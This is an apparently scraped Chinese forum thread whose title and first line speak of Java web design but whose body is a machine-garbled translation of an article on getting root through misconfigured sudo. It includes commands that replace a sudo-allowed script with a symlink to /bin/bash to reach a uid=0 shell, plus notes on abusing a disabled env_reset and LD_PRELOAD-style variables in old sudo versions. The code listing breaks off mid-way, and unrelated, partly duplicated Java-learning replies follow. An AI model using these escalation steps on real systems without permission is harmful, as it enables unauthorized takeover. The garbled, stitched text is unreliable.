仓酷云

标题: JAVA网页设计我是如何经由过程Sudo猎取root权限的仓酷云 [打印本页]
作者: 飘灵儿    时间: 2015-1-18 11:17
标题: JAVA网页设计我是如何经由过程Sudo猎取root权限的仓酷云
用java开发web只要两本书：一本是关于java基础的，一本是关于jsp、servlet的就可以了。开发周期长，我就来讲句题外话，现在有很多思想都是通过java来展现。概述
在处置平安相干的事件中，我们常常会发明服务器设置了权限办理的软件Sudo。和别的软件一样，设置Sudo也必需遵守最小特权的准绳，用户只能被授与尽量最小的特权来运转一些需要的义务或操纵。因而，为了平安地设置Sudo，一般用户的权限必需被严厉限定，他们仅能靠提拔后的权限（一般是root用户的权限）正当地实行一组命令。
在实践使用中，依据最小特权准绳设置的Sudo其实不多见；即使有，也常常存在些许毛病，我们使用这些毛病就能够猎取root权限。如许的话，就垮台了，我们能够随心所欲！
这篇文章旨在给出一些毛病和不平安设置的例子，这些是我们在平安评价中见到的并对临盆情况形成了必定影响的例子。同时也告知人人怎样让本人的团队加倍轻松地应对这些成绩。
不平安的文件体系权限
思索上面我们假造的用户“appadmin”的Sudo设置：
1
2
3
4
5
$sudo-l
[sudo]passwordforappadmin:
Userappadminmayrunthefollowingcommandsonthishost:
(root)/opt/Support/start.sh,(root)/opt/Support/stop.sh,
(root)/opt/Support/restart.sh,(root)/usr/sbin/lsof

今朝看起来没甚么成绩。接着我们来看看以下剧本：
1
2
3
4
5
6
$ls-l/opt/Support/
total4
-rwxr-xr-x1rootroot37Oct314:06restart.sh
-rwxr-xr-x1appadminappadmin53Oct314:03start.sh
$ls-ld/opt/Support
drwxr-xr-x2appadminappadmin4096Oct313:58/opt/Support

这些文件和目次的权限没有成绩吗？在这里，我们有几个选项来提拔我们的权限：
上面是第三种做法的演示：
1
2
3
4
5
6
$mv/opt/Support/restart.sh{,.bak}
$ln-s/bin/bash/opt/Support/restart.sh
$sudo/opt/Support/restart.sh
[sudo]passwordforappadmin:
#id
uid=0(root)gid=0(root)groups=0(root)

Game?over!?:)
情况变量
思索上面我们的用户“monitor”的Sudo设置：
1
2
3
4
5
6
$sudo-l
[sudo]passwordformonitor:
MatchingDefaultsentriesformonitoronthishost:
!env_reset
Usermonitormayrunthefollowingcommandsonthishost:
(root)/etc/init.d/sshd

我们看到env_reset选项被禁用了！这就意味着我们能够变动我们被同意实行的命令的情况。依据Sudo版本的分歧，我们能够经由过程传进情况变量来提拔我们的权限，正如以下出名的毛病那样：

一样必要晓得的是，别的一些伤害的情况变量也大概被我们滥用（PERL5OPT,PYTHONINSPECT等等）。
应该指出，固然，即便当env_reset被禁用，年夜多半伤害的情况变量如今已被Sudo依据默许的硬编码黑名单(hard-codedblacklist)删除。利用root用户运转“sudo-V”检察“要删除的情况变量”这个黑名单。
不外，在版本低于1.8.5的Sudo中，我们发明经由过程命令行传送的情况变量不会被删除，只管它们应当被删除。以是我们仍旧能够使用和LD_PRELOAD相似的手艺来提拔我们的权限，上面给出了在最新版本的RedHat企业版Linux5.10体系中的例子（仅仅是少了最新的平安更新）。
<p>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$rpm-qsudo
<p>
作者: 分手快乐    时间: 2015-1-19 20:02
一般学编程语言都是从C语开始学的，我也不例外，但还是可能不学过程语言而直接学面向对象语言的，你是刚接触语言，还是从C开始学比较好，基础会很深点，如果你直接学习JAVA也能上手，一般大家在学语言的时候都记一些语言的关键词，常有的包和接口等。再去做逻辑代码的编写，以后的学习过程都是从逻辑代码编写中提升的，所以这方面都是经验积累的。你要开始学习就从
作者: 小女巫    时间: 2015-1-24 13:41
你一定会高兴地说，哈哈，原来成为Java高手就这么简单啊!记得Tomjava也曾碰到过一个项目经理，号称Java很简单，只要三个月就可以学会。
作者: 海妖    时间: 2015-1-26 21:24
你一定会高兴地说，哈哈，原来成为Java高手就这么简单啊!记得Tomjava也曾碰到过一个项目经理，号称Java很简单，只要三个月就可以学会。
作者: 愤怒的大鸟    时间: 2015-2-4 20:32
有时间再研究一下MVC结构（把Model-View-Control分离开的设计思想）
作者: 若天明    时间: 2015-2-10 07:09
是一种使网页(Web Page)由静态(Static)转变为动态(Dynamic)的语言
作者: 山那边是海    时间: 2015-2-12 20:20
[url]http://www.jdon.com/[/url]去下载，或到同济技术论坛的服务器[url]ftp://nro.shtdu.edu.cn[/url]去下，安装上有什么问题，可以到论坛上去提问。
作者: 仓酷云    时间: 2015-2-16 20:48
不过，每次的执行编译后的字节码需要消耗一定的时间，这同时也在一定程度上降低了 Java 程序的运行效率。
作者: 透明    时间: 2015-2-19 21:32
学Java必读的两个开源程序就是Jive和Pet Store.。 Jive是国外一个非常著名的BBS程序，完全开放源码。论坛的设计采用了很多先进的技术，如Cache、用户认证、Filter、XML等，而且论坛完全屏蔽了对数据库的访问，可以很轻易的在不同数据库中移植。论坛还有方便的安装和管理程序，这是我们平时编程时容易忽略的一部份（中国程序员一般只注重编程的技术含量，却完全不考虑用户的感受，这就是我们与国外软件的差距所在）。
作者: 因胸联盟    时间: 2015-3-4 10:03
至于JDBC，就不用我多说了，你如果用java编过存取数据库的程序，就应该很熟悉。还有，如果你要用Java编发送电子邮件的程序，你就得看看Javamail 了。
作者: 若相依    时间: 2015-3-11 18:11
我大二，Java也只学了一年，觉得还是看thinking in java好，有能力的话看英文原版(中文版翻的不怎么好)，还能提高英文文档阅读能力。
作者: 飘灵儿    时间: 2015-3-12 02:59
是一种简化的C++语言 是一种安全的语言，具有阻绝计算机病毒传输的功能
作者: 不帅    时间: 2015-3-19 17:43
是一种由美国SUN计算机公司(Sun Microsystems, Inc.)所研究而成的语言



欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2